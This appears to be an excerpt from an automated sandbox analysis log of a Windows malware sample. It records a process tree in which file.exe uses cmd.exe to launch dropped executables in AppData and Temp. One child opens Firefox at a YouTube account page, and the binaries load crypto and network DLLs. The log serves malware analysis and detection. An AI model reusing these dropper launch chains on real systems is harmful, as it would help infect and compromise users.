Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Source: C:\Users\userIJKFHIIEHI.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe "C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe"
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7596 -s 1344
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe "C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe "C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe"
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7856 -s 1040
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe "C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe"
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2244 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7e2c2bbc-ae2f-4d63-ad2c-5195ac7123fd} 8164 "\\.\pipe\gecko-crash-server-pipe.8164" 25b37f6c110 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe "C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe"
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 352 -s 1316
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2164 -prefsLen 25307 -prefMapSize 239580 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a2a719b5-f369-4b52-b0ba-c60f02424b7d} 5236 "\\.\pipe\gecko-crash-server-pipe.5236" 2017196f110 socket
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIJKFHIIEHI.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe "C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe"	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userIJKFHIIEHI.exe "C:\Users\userIJKFHIIEHI.exe"	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe "C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe "C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe"
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2244 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7e2c2bbc-ae2f-4d63-ad2c-5195ac7123fd} 8164 "\\.\pipe\gecko-crash-server-pipe.8164" 25b37f6c110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2164 -prefsLen 25307 -prefMapSize 239580 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a2a719b5-f369-4b52-b0ba-c60f02424b7d} 5236 "\\.\pipe\gecko-crash-server-pipe.5236" 2017196f110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Section loaded: bcp47langs.dll
